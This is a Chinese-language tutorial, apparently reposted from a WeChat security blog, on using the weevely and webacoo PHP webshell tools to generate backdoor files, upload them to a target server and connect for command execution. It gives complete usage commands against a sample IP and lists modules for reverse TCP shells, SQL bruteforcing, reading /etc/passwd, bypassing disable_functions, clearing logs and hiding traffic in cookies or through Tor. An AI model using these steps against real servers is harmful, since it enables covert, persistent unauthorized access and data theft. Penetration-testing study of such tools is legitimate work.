0x01 weevely
weecely是一款用Python语言编写的针对PHP平台的webshell生成管理工具。
主要功能有:
执行命令
查看浏览远程文件
端口扫描
HTTP代理
检测常见的服务器配置问题
创建TCP Shell和Reverse Shell
and so on ·········
weevely的常用命令:
[on the target ] Run terminal or command
weevely <URL> <password> [cmd] //连接一句话木马
[ ] Recover an existing session
weevely session <path> [cmd] //加载会话文件
[new agent ] Generate
weevely generate <password> <path> //生成后门文件
首先用weevely生成一个webshell,上传到目标网站然后执行以下命令连接即可返回一个shell
weevely generate 1234 12.php
weevely http://10.0.161.126/12.php 1234
连接成功后会得到shell,除了执行基础的系统命令,我们还可以输入help,调用weevely模块:
:shell_su Execute commands with su.
:shell_sh Execute shell commands.
:shell_php Execute PHP commands.
:system_info Collect system information.
:system_extensions Collect PHP and webserver extension list.
:system_procs List running processes.
:audit_filesystem Audit the file system for weak permissions.
:audit_phpconf Audit PHP configuration.
:audit_suidsgid Find files with SUID or SGID flags.
:audit_etcpasswd Read /etc/passwd with different techniques.
:audit_disablefunctionbypass Bypass disable_function restrictions with mod_cgi and .htaccess.
:file_bzip2 Compress or expand bzip2 files.
:file_touch Change file timestamp.
:file_upload2web Upload file automatically to a web folder and get corresponding URL.
:file_cd Change current working directory.
:file_download Download file from remote filesystem.
:file_enum Check existence and permissions of a list of paths.
:file_find Find files with given names and attributes.
:file_ls List directory content.
:file_clearlog Remove string from a file.
:file_mount Mount remote filesystem using HTTPfs.
:file_webdownload Download an URL.
:file_grep Print lines matching a pattern in multiple files.
:file_upload Upload file to remote filesystem.
:file_read Read remote file from the remote filesystem.
:file_cp Copy single file.
:file_tar Compress or expand tar archives.
:file_rm Remove remote file.
:file_check Get attributes and permissions of a file.
:file_edit Edit remote file on a local editor.
:file_zip Compress or expand zip files.
:file_gzip Compress or expand gzip files.
:bruteforce_sql Bruteforce SQL database.
:sql_console Execute SQL query or run console.
:sql_dump Multi dbms mysqldump replacement.
:backdoor_tcp Spawn a shell on a TCP port.
:backdoor_reversetcp Execute a reverse TCP shell.
:net_mail Send mail.
:net_phpproxy Install PHP proxy on the target.
:net_scan TCP Port scan.
:net_curl Perform a curl-like HTTP request.
:net_proxy Run local proxy to pivot HTTP/HTTPS browsing through the target.
:net_ifconfig Get network interfaces addresses.
:shell_su 使用su执行命令。
:shell_sh 执行shell命令。
:shell_php 执行PHP命令。
:system_info 收集系统信息。
:system_extensions 收集PHP和Web服务器扩展列表。
:system_procs 列出正在运行的进程。
:audit_filesystem 审核文件系统的弱权限。
:audit_phpconf 审核PHP配置。
:audit_suidsgid 查找具有SUID或SGID标志的文件。
:audit_etcpasswd 使用不同的技术读取/etc/passwd。
:audit_disablefunctionbypass 使用mod_cgi和.htaccess绕过禁用函数限制。
:file_bzip2 压缩或展开bzip2文件。
:file_touch 更改文件时间戳。
:file_upload2web 自动将文件上载到web文件夹并获取相应的URL。
:file_cd 更改当前工作目录。
:file_download 从远程文件系统下载文件。
:file_enum 检查路径列表的存在性和权限。
:file_find 查找具有给定名称和属性的文件。
:file_ls 列出目录内容。
:file_clearlog 从文件中删除字符串。
:file_mount 使用HTTPfs装载远程文件系统。
:file_webdownload 下载一个URL。
:file_grep 在多个文件中打印与图案匹配的行。
:file_upload 将文件上载到远程文件系统。
:file_read 从远程文件系统读取远程文件。
:file_cp 复制单个文件。
:file_tar 压缩或扩展tar档案。
:file_rm 删除远程文件。
:file_check 获取文件的属性和权限。
:file_edit 在本地编辑器上编辑远程文件。
:file_zip 压缩或扩展zip文件。
:file_gzip 压缩或扩展gzip文件。
:bruteforce_sql Bruteforce SQL数据库。
:sql_console 执行SQL查询或运行控制台。
:sql_dump 多dbms mysqldump替换。
:backdoor_tcp 在TCP端口上生成shell。
:backdoor_reversetcp 执行反向TCP外壳。
:net_mail 发邮件。
:net_phpproxy 在目标上安装PHP代理。
:net_scan TCP端口扫描。
:net_curl 执行类似于curl的HTTP请求。
:net_proxy 运行本地代理以使HTTP/HTTPS浏览通过目标。
:net_ifconfig 获取网络接口地址。
查看系统补丁:
system_info
读取文件:
file_read
扫描目标主机指定端口:
net_scan ip port
扫描目标主机内网IP段:
net_scan ip/24 port
还有许多上传下载等模块就不一一列举了!
0x02 webacoo
Web Backdoor Cookie 即webacoo是一款针对PHP平台的web后门工具。
Webacoo的编码通信内容都是通过cookie头传输,隐蔽性强。
其Cookie头中的三个变量:
cm:base64编码的命令
cn:服务器用于返回数据的cookie头的名
cp:返回信息定界符
直接在终端输入webacoo即可启动与weevely用法类似。
webacoo -g -o test.php //生成后门文件
-g参数生成后门代码;
-o参数输出为一个文件
webacoo -t -u http://10.0.161.126/test.php //连接webshell
-t参数指定进行客户端的连接;
-u参数指定目标URL
连接webshell之后load可以查看一些可用的模块
load
o MySQL-CLI: MySQL Command Line Module
mysql-cli <IP(:port)> <user> <pass> (ex. 'mysql-cli 10.0.1.11 admin pAsS')
o PSQL-CLI: Postgres Command Line Module
psql-cli <IP(:port)> <db> <user> <pass> (ex. 'psql-cli 10.0.1.12 testDB root pAsS')
o Upload: File Upload Module
upload <local_file> <remote_dir> (ex. 'upload exploit.c /tmp/')
o Download: File Download Module
download <remote_file> (ex. 'download config.php')
o Stealth: Enhance Stealth Module
stealth <webroot_dir> (ex. 'stealth /var/www/html')
[*] Type the module name with the correct args.
执行命令
连接数据库
mysql-cli 10.0.1.11 admin pAsS
其他参数可以通过-h参数来查看详细的用法,这里就不多演示了
Options:
-g Generate backdoor code (-o is required)
-f FUNCTION PHP System function to use
FUNCTION
1: system (default)
2: shell_exec
3: exec
4: passthru
5: popen
-o OUTPUT Generated backdoor output filename
-r Return un-obfuscated backdoor code
-t Establish remote "terminal" connection (-u is required)
-u URL Backdoor URL
-e CMD Single command execution mode (-t and -u are required)
-m METHOD HTTP method to be used (default is GET)
-c C_NAME Cookie name (default: "M-cookie")
-d DELIM Delimiter (default: New random for each request)
-a AGENT HTTP header user-agent (default exist)
-p PROXY Use proxy (tor, ip:port or user:pass:ip:port)
-v LEVEL Verbose level
LEVEL
0: no additional info (default)
1: print HTTP headers
2: print HTTP headers + data
-l LOG Log activity to file
-h Display help and exit
update Check for updates and apply if any
【往期推荐】
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细 | 钟馗之眼】ZoomEye-python命令行的使用
【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞
【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
一如既往的学习,一如既往的整理,一如即往的分享
“如侵权请私聊公众号删文”
推推荐关注
原文始发于微信公众号(渗透Xiao白帽):WebShell持久化后门控制Tools
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论